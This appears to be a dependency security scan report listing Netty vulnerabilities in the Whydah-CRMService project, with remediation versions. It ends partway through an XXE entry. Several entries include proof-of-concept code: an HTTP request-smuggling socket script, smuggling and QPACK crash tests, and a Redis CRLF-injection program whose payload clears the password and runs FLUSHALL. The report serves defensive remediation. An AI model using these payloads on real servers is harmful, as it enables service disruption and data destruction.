Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the processing of SPDY SETTINGS frames in the SpdyFrameCodec.decode function. An attacker can cause excessive memory allocation and CPU consumption by sending a specially crafted SETTINGS frame with a large number of unique setting IDs, leading to resource exhaustion on the target system.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.12.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http2@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Http2Decompressor.decompress. An attacker can exhaust direct memory and cause the JVM to crash by sending crafted HTTP/2 DATA frames to applications that have HTTP/2 content decompression enabled via DelegatingDecompressorFrameListener.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http2@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http3
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http3@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in shouldWaitForDynamicTableUpdates in QpackDecoder. An attacker can open an indefinite number of persistently blocked streams by sending headers that reference dynamic table entries the server has not yet received. Each stream's ReadResumptionListener is retained for the connection's lifetime, exhausting memory and crashing the JVM.

Workaround

This vulnerability can be avoided by setting HTTP3_SETTINGS_QPACK_BLOCKED_STREAMS to a nonzero value.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.15.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http3
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http3@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Http3FrameCodec. An attacker can exhaust system memory by sending multiple QUIC streams with reserved frames specifying excessively large payload lengths.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Insecure Default Initialization of Resource

  • Vulnerable module: io.netty:netty-codec-http3
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http3@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Insecure Default Initialization of Resource due to the lack of an enforced maximum header size limit in the default configuration of the Http3ConnectionHandler. An attacker can exhaust server memory and cause application crashes by continuously sending large or numerous HTTP/3 headers within a connection.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.15.Final or higher.

References

high severity

Memory Allocation with Excessive Size Value

  • Vulnerable module: io.netty:netty-codec-http3
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http3@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value through the decodeHuffmanEncodedLiteral function in the QPACK decoder, which allocates memory for a byte array based on a length value received from the network without verifying that sufficient data is present. An attacker can cause excessive memory allocation, leading to server slowdown, stalling, or crashing by sending specially crafted HTTP/3 HEADERS frames with malicious QPACK sections.

PoC

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverErrors.set(cause.getCause());
                                            } else {
                                                serverErrors.set(cause);
                                            }
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10000000)
                    .initialMaxStreamDataBidirectionalLocal(1000000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();
            header.writeByte(0x01);
            header.writeByte(0x08);

            header.writeByte(0x00);
            header.writeByte(0x00);

            header.writeByte(0x27);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x04);

            rawStream.writeAndFlush(header).sync();

            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.13.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-redis@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the decodeLength function. An attacker can exhaust the server's direct memory pool by sending continuous streams of digits without a terminating \r\n across multiple concurrent connections, which prevents legitimate connections from being processed.

Note:

This is only exploitable if an attacker is able to open multiple concurrent connections and distribute unbounded payloads among them.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-redis@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in RedisArrayAggregator. An attacker who sends a small RESP array header declaring a very large element count can force the aggregator to reserve a large ArrayList via the AggregateState constructor, before any child elements are sent, exhausting memory.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-redis@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the RedisArrayAggregator function. An attacker can exhaust system memory by sending specially crafted Redis payloads containing deeply nested arrays, resulting in allocation of excessive state objects and collections.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-redis@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper cleanup of pooled direct-memory buffers in the RedisArrayAggregator function. An attacker can exhaust the JVM-wide direct-memory pool by repeatedly opening and closing pipeline connections before a RESP array aggregate completes, leading to allocation failures across all channels.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-stomp
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-stomp@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the StompSubframeDecoder process. An attacker can exhaust system memory and cause a server crash by sending a large number of short headers in a single STOMP frame, resulting in an OutOfMemoryError.

Remediation

Upgrade io.netty:netty-codec-stomp to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: io.netty:netty-codec-xml
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-xml@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the XmlFrameDecoder process. An attacker can cause the server's EventLoop thread to exhaust CPU resources and become unresponsive by sending a specially crafted XML payload, such as repeated </ characters, which forces the decoder to repeatedly rescan the entire buffer.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Unchecked Input for Loop Condition

  • Vulnerable module: io.netty:netty-codec-xml
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-xml@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to Unchecked Input for Loop Condition via CPU exhaustion through the XML framing logic in codec-xml/src/main/java/io/netty/handler/codec/xml/XmlFrameDecoder.java. An attacker can monopolize the server's EventLoop thread by sending a trickle of malformed XML data, such as repeated </ sequences, that forces the decoder to rescan the accumulated buffer repeatedly. This can make any application using XmlFrameDecoder become unresponsive and unable to process other traffic on the affected connection or event loop.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-transport-classes-epoll
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the handling of TCP connections with ALLOW_HALF_CLOSURE enabled when a remote peer sends a FIN followed by a RST. An attacker can cause resource exhaustion or high CPU utilization by repeatedly establishing such connections and triggering the described sequence, leading to stale channels that are never cleaned up and potential CPU busy-loops in the event loop thread.

Workaround

This vulnerability can be mitigated by configuring idle timeouts on connections to limit the lifetime of stale channels.

Remediation

Upgrade io.netty:netty-transport-classes-epoll to version 4.2.13.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-transport-sctp
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-transport-sctp@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to unbounded nesting of composite buffers in the SCTP message reassembly process. An attacker can exhaust system memory and cause a denial of service by sending a large number of incomplete message fragments, each creating deeper buffer chains without limit.

Remediation

Upgrade io.netty:netty-transport-sctp to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity
new

Improperly Controlled Sequential Memory Allocation

  • Vulnerable module: io.netty:netty-transport-sctp
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-transport-sctp@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.17.Final.

Overview

Affected versions of this package are vulnerable to Improperly Controlled Sequential Memory Allocation due to unbounded buffering of incomplete SCTP message fragments. An attacker can trigger an OutOfMemoryError by sending large or many fragmented SCTP messages that the handler retains while waiting for completion. The handler limits fragment counts, but it does not cap the total bytes held across incomplete messages, so a small number of concurrent connections can accumulate enough buffered data to exhaust server memory and disrupt applications using Netty’s SCTP transport.

Remediation

Upgrade io.netty:netty-transport-sctp to version 4.1.137.Final, 4.2.17.Final or higher.

References

high severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-redis@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection in the RedisEncoder component. An attacker can inject arbitrary Redis commands or forge responses by supplying input containing CRLF sequences, which are not properly sanitized before being written to the network output buffer. This allows manipulation of the Redis protocol stream, potentially leading to unauthorized command execution or response poisoning.

Note:

This is only exploitable if user-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content, and the application does not perform its own CRLF sanitization before constructing these message objects.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity
new

Use of Cache Containing Sensitive Information

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.17.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information due to the setVaryHeader method in codec-http/src/main/java/io/netty/handler/codec/http/cors/CorsHandler.java. An attacker can retrieve another user’s cached sensitive response by sending a cross-origin request that causes CorsHandler to overwrite an application’s existing Vary header, such as Vary: Authorization or Vary: Cookie, with Vary: Origin. Because shared caches and CDNs key the response on the reduced Vary set, user-specific responses can be cached and served to unauthorized clients. This can expose authenticated content or other sensitive data to other application users.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.137.Final, 4.2.17.Final or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: io.netty:netty-codec-xml
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-xml@4.2.11.Final
